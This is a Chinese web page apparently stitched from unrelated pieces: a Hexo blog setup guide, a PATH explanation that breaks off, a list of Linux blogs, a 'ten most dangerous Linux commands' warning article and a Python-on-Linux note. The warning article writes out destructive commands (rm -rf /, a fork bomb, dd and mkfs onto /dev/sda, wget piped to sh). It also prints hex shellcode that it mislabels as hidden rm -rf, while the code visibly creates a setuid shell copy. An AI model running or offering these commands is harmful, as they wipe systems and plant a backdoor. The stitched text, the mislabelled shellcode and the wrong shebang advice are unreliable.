安装前提
创新互联专注于中大型企业的成都网站建设、成都做网站和网站改版、网站营销服务,追求商业策划与数据分析、创意艺术与技术开发的融合,累计客户千余家,服务满意度达97%。帮助广大客户顺利对接上互联网浪潮,准确优选出符合自己需要的互联网运用,我们将一直专注品牌网站设计和互联网程序开发,在前进的路上,与客户一起成长!
安装 Hexo 非常简单。需要预先安装:
Node.js
Git
在 Ubuntu 14.04/15.04 上安装配置 Node.js v4.0.0
如何在CentOS 7安装Node.js
Ubuntu 14.04下搭建Node.js开发环境
Git 服务器搭建与客户端安装
Ubuntu下Git服务器的搭建与使用指南
准备条件做好了之后就可以开始安装Hexo了
安装Hexo
打开Git Bash 执行命令
1
$ npm install -g hexo-cli
创建博客
Hexo安装完成后,分别执行如下命令,Hexo会自动生成需要的文件夹
1
2
3
$ hexo init folder ##folder 为你指定的文件地址
$ cd folder
$ npm install
例如:需要将博客搭建在本地的D:\my_hexo下,则分别执行命令:hexo init D:\my_hexo ,cd D:\my_hexo,npm install
执行完命令后如果没有问题我们就可以执行启动命令来查看我们的博客了.
本地预览
1
2
3
$ hexo server ## 启动服务,默认端口4000
$ hexo server -p xxxx ## 自定义端口启动服务
$ hexo clean ## 清除缓存,在页面显示不正常的时候可以执行此命令
然后在浏览器输入 即可访问
创建Repository
登录github 点击右上角的”+”,Create a new repository
Create a new repository
复制刚刚新建的https连接:
打开你hexo目录下的_config.yml
设置deploy信息,如:
1
2
3
4
deploy:
type: git
repository:
branch: master
设置SSH key
检验是否已存在key
分别执行命令
1
2
cd ~
cd .ssh
再执行命令 ls 查看是有已有key文件,一般存在key的话都会显示id_rsa.pub 和 id_dsa.pub这两个文件,没有key什么都不会显示
添加一个 SSH key
执行命令(已有key的可以跳过步骤2):
1
2
3
$ ssh-keygen -t rsa -C "your_email@mail.com"
## t 指定密钥类型,默认是 rsa ,可以省略。 -C 设置注释文字,比如邮箱或其他。
然后会提示你 Enter Enter file in which to save the key (/c/Users/you/.ssh/id_rsa): [Press enter,这里是输入一个文件名用来保存ssh key,也可以什么都不输,会使用默认的id_rsa.pub 和 id_dsa.pub
回车之后,需要输入两次密码(该密码是你push文件的时候要输入的密码,而不是github的密码)
输入密码之后,看见如下显示信息,添加SSH key成功.
Github 设置 SSH key
登录github,点击Settings,然后点击 SSH keys ,在这个页面你可以管理你所有的ssh keys
然后点击Add SSH key
用文本编辑器打开刚刚添加的key文件id_rsa.pub,复制里面的所有的内容
回到github页面,将复制的内容粘贴到刚刚那个页面的key对应的文本框里面,title 可以随便填写
测试ssh key 是否添加成功
在命令行输入:
1
$ ssh -T git@github.com
会出现一段警告代码,输入yes回车,然后会要求你输入刚刚设置的密码,然后它会和你说:Hi,帅哥....约吗
到此SSH key就设置完毕了
部署到Github
打开命令窗口,回到你的hexo博客目录下,如别执行如下命令:
1
2
hexo generate
hexo deploy
等待命令执行完毕后,可以查看代码是否已提交到github上,然后在浏览器输入admol.github.io就可以访问了
新建页面
1
$ hexo new page 'pageName'
执行命令后可以在你本地的/source 目录下看见以为你新增页面名为名的文件夹
显示页面
打开文件后可以对index.md 进行编辑.然后打开/themes/jacman目录下的_config.yml文件(自己正在使用的主题),
添加刚刚新增的页面:
1
2
3
4
5
menu:
首页: /
统计: /archives
关于: /about
pageName: /pageName ##前面的pageName可以自定义,后面的pageName必须写刚刚新增的页面名称
新建文章
1
$ hexo new [layout] 'name'
[layout] 为可选,不写默认为post. /source 目录下的文件夹名称即为 layout 名
安装主题
1
$ git clone themes/icarus
更换主题
首先下载主题,然后打开根目录下的 _cinfig.yml ,修改 theme: 要更换的主题名
修改主题颜色
打开 /themes/jacman目录下的_config.yml文件,修改:
1
2
theme_color:
theme: '色值'
修改logo图片
打开主题下的 _config.yml 文件,修改:
1
2
3
4
imglogo:
enable: false ## 是否显示logo
src: img/logo.gif ## logo图片地址
favicon: img/qq.ico ## 页面左上角图标
Hexo 版本升级
1
$ npm update hexo -g
Linux将命令添加到PATH中博客分类:
linux
LinuxApacheBash
简单说PATH就是一组路径的字符串变量,当你输入的命令不带任何路径时,LINUX会在PATH记录的路径中查找该命令。有的话则执行,不存在则提示命令找不到。比如在根目录/下可以输入命令ls,在/usr目录下也可以输入ls,但其实ls命令根本不在这个两个目录下,当你输入ls命令时LINUX会去/bin,/usr/bin,/sbin等目录寻找该命令。而PATH就是定义/bin:/sbin:/usr/bin等这些路劲的变量,其中冒号为目录间的分割符。
如何自定义路径:
假设你新编译安装了一个apache在/usr/local/apache下,你希望每次启动的时候不用敲一大串字符(#
/usr/local/apache/bin/apachectl
start)才能使用它,而是直接像ls一样在任何地方都直接输入类似这样(#
apachectl
start)的简短命令。这时,你就需要修改环境变量PATH了,准确的说就是给PATH增加一个值/usr/local/apache/bin。将/usr/local/apache/bin添加到PATH中有三种方法:
第一个:鸟哥的 Linux 私房菜 -- 鸟哥的 Linux 私房菜 首页
博客介绍:大名鼎鼎的Linux私房菜,放在第一个位置毋庸置疑。如果你想要系统的学习Linux这儿会是你得不二选择。鸟哥是何许人也?鸟哥的 Linux 私房菜 -- 关於鸟哥
博客目录摘要(更多精彩内容请进博客):
新手建议:Linux 新鲜人必看
开始阅读之前:鸟哥这个网站的字体与风格编排之意义
网站导览:就是您目前看的这个网页
Linux 基础文件:一些很基础的文件汇整
Linux 架站文件:架站文件的汇整
Linux 安全管理:主机主体与网路安全的文件汇整H(施工中)
Apache 套件安装:关於各种 Apache 上面执行的套件的安装!
ADSL 频宽分享相关文件:主要利用不止是 Linux 的频宽分享!
第二个:Linux - 标签
博主介绍:Vamei,一名编程爱好者熟悉Python/Linux/网络协议/算法/Java/数据科学系列
博客介绍:如果你正在想学习Linux,你完全没有基础,那么这个博客正适合你。通读几篇文章练习练习一些基本的命令,不要再犹豫了,马上就动手吧。
博客目录摘要:
为什么要学习Linux
Linux文件系统的实现
Linux常用命令
Linux进程间通信
Linux多线程与同步
Linux从程序到进程
Linux用户与“最小权限”原则
Linux进程关系
Linux信号基础
Linux进程基础
Linux架构 - Vamei
Linux文本流 - Vamei
Linux文件管理相关命令
Linux命令行与命令
Linux文件管理
Linux开机启动(bootstrap)
Linux简介与厂商版本
第三个:Linux大棚 – 不忘初心的技术博客,浮躁时代的安静角落
博客介绍:写了八年的博客、关于Linux关于Linux C。正如标题:不忘初心、浮躁时代的安静角落。用一个月用两个月去学习阅读一遍别人的八年、何尝不是一种享受。学习前辈的经验、学习别人总结的内容。
博客目录摘要(更多精彩内容请进博客):
《service》-“linux命令五分钟系列”之二
《du命令》-linux命令五分钟系列之三
《chkconfig命令》
《uname命令》
《tr命令》-linux命令五分钟系列之六
《海量运维、运营规划之道》
你应该知道的16个Linux服务器监控命令
《ssh-copy-id帮你建立信任》
《神探tcpdump第五招》-linux命令五分钟系列之三十九
[转]知名互联网公司系统工程师面试题
第四个:fudan_abc的Linux内核专栏
博客介绍:如果你对Linux内核以及usb比较感兴趣,这里将是你的不二选择。本专栏将Linux内核的学习分为四个层次:全面了解,掌握基本功;兴趣导向,选择重点深度钻研。还等什么,让我们一起开始Linux之旅吧!
博客目录摘要(更多精彩内容请进博客):
《Linux那些事儿之我是USB》我是U盘 -- 系列
《Linux内核修炼之道》精华分享与讨论 -- 内核系列
Linux那些事儿 -- 系列
第五个:专栏:Linux 运维
博客介绍:如果你想做运维,Linux运维的话。来这里吧,整个专栏都是关于Linux运维的内容,再不来学习就晚了。教程都在这里你还在犹豫吗?当然此博主还有另一个专栏,写的全是与Linux编程相关的内容,如果你有兴趣同样可以取访问另一个专栏,这里给上这个专栏的链接:专栏:Linux 编程
博客目录摘要(更多精彩内容请进博客):
重装Windows后修复Linux引导
Linux下top命令详解
Shell编程入门(第二版)(下)
Shell编程入门(第二版)(中)
Shell编程入门(第二版)(上)
Linux用户管理案例(第二版)
用户管理实用命令(第二版)
Linux用户管理命令(第二版)
Linux特殊权限分析(第二版)
Linux用户配置文件(第二版)
Vim/Vi实用技巧(第二版)
Vim/Vi常用操作(第二版)
GRUB与Linux系统修复(第二版)
inittab文件剖析[CentOS 5.X](第二版)
CentOS 6.X启动流程
/etc/fstab文件出错,无法进入Linux系统
Linux引导流程(第二版)
Linux备份策略(第二版)
设置磁盘配额(第二版)
/etc/fstab文件分析(第二版)
第五个:最实用的Linux博客
博客介绍:博文收集了很多关于Linux比较实用比较有意义的一些文章和教程。
博客目录摘要(更多精彩内容请进博客)(目录结构分类+文章数量):
linux安全(100)
linux客户端工具(3)
linux开发之汇编(1)
linux性能监控与调整(49)
linux服务器深度历险(电子书)(12)
linux系统管理(336)
linux网站(0)
linux网络管理(138)
第六个:依云's Blog
博
客介绍:如果大家有仔细翻阅上一篇的python篇的博客,你就会发现这一期将会有一两个博客的重复,因为我实在觉得这两者之间有种强烈的关系。博客大部
分都是关于Linux和Python方面的~看完就是感觉:哇大神。关于Linux方面的内容写的都很有深度。不是很适合新手朋友阅读。
比较适合对系统有所研究的同学。
博客关键词:Linux 、Python
博客目录摘要:
1、发包太快,请勿跟踪
2、Linux 作业控制实践
3、SIGHUP, nohup, disown 以及 expect + sudo + bash + ssh
4、当 SSD 坏掉之后
5、从 slim 到 lightdm
6、交换 ThinkPad 键盘上的 Insert 和 End 键
在上一期的评论区,大家说博客有点多不知道如何下手,今天从以前的10博客缩减到7个博客。如果有选择恐惧症,可以直接选择第一个进行学习。
(待更。。。
Linux中最危险的10个命令
对于编程人员或或者Linux系统管理员来说,操作Linux系统最常见的方法就是使用命令行。当然,Linux命令行佷有用、很高效,但有时候也很危险,尤其是在你误操作或者不确定你自己在正在做什么的时候。下面我就为大家盘点最危险是10个命令,一起来看看吧!
当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普 通用户身份下,破坏的只是自己的一亩三分地。
1. rm -rf 命令
rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm 命令的选项。
rm 命令在Linux下通常用来删除文件。
rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)
rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数 只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来 要求删除确认,而-f则抑制了这个提示。)
rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
rm -rf *: 强制删除当前目录的所有文件。
rm -rf . : 强制删除当前文件夹及其子文件夹。
从 现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好 你在做什么!译者本人有着血泪的教训啊。)
2. :(){:|:};: 命令
这就是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
:(){:|:};:
哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~
3. 命令 /dev/sda
上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4. mv 文件夹 /dev/null
这 个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止 数据恢复软件的救赎,所以,真正的`彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)
# mv /home/user/* /dev/null
上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。
注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)
6. mkfs.ext3 /dev/sda
上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱 动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设 备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁 灭性的,上面的数据都会被蒸发了。)
7. file
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是 “”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。
8. ^foo^bar
这个命令在“鲜为人知而又实用的 Linux 命令大全:”中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)
10. 隐藏命令
下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令,因为这将导致数据丢失或者系统崩溃。如果你想测试它们,请在虚拟机上运行。
;
运行python终端的话 直接输入python
也可以加参数运行,这就比windows下面方便一些。
你的py程序可以不以“.py”结尾,linux系统不是通过扩展名来判断文件格式的。py脚本对于linux系统来说就是文本文件。
编写程序的时候有一点和windows下不一样。第一行要加上“#! /usr/python"这样一行注释,虽然是注释,但是linux系统的终端会解读它并识别出来是个python脚本。然后这个文件要加上可运行权限,用命令“chmod +x 文件名",这样这个文件就可以被运行了。
然后在linux终端中直接输入"./程序名"即可运行,终端会自动识别出来是个python程序并用python解释器来运行。".”指的是当前目录,linux默认设置的是要运行当前目录的程序必须重新指定以下目录,所以要加上"./"。
如果要用python3的话,python 3 在大部分发行版里面叫做"python3"。
在Archlinux里面“python"指的是第三代,而”python2”表示的是python第二代。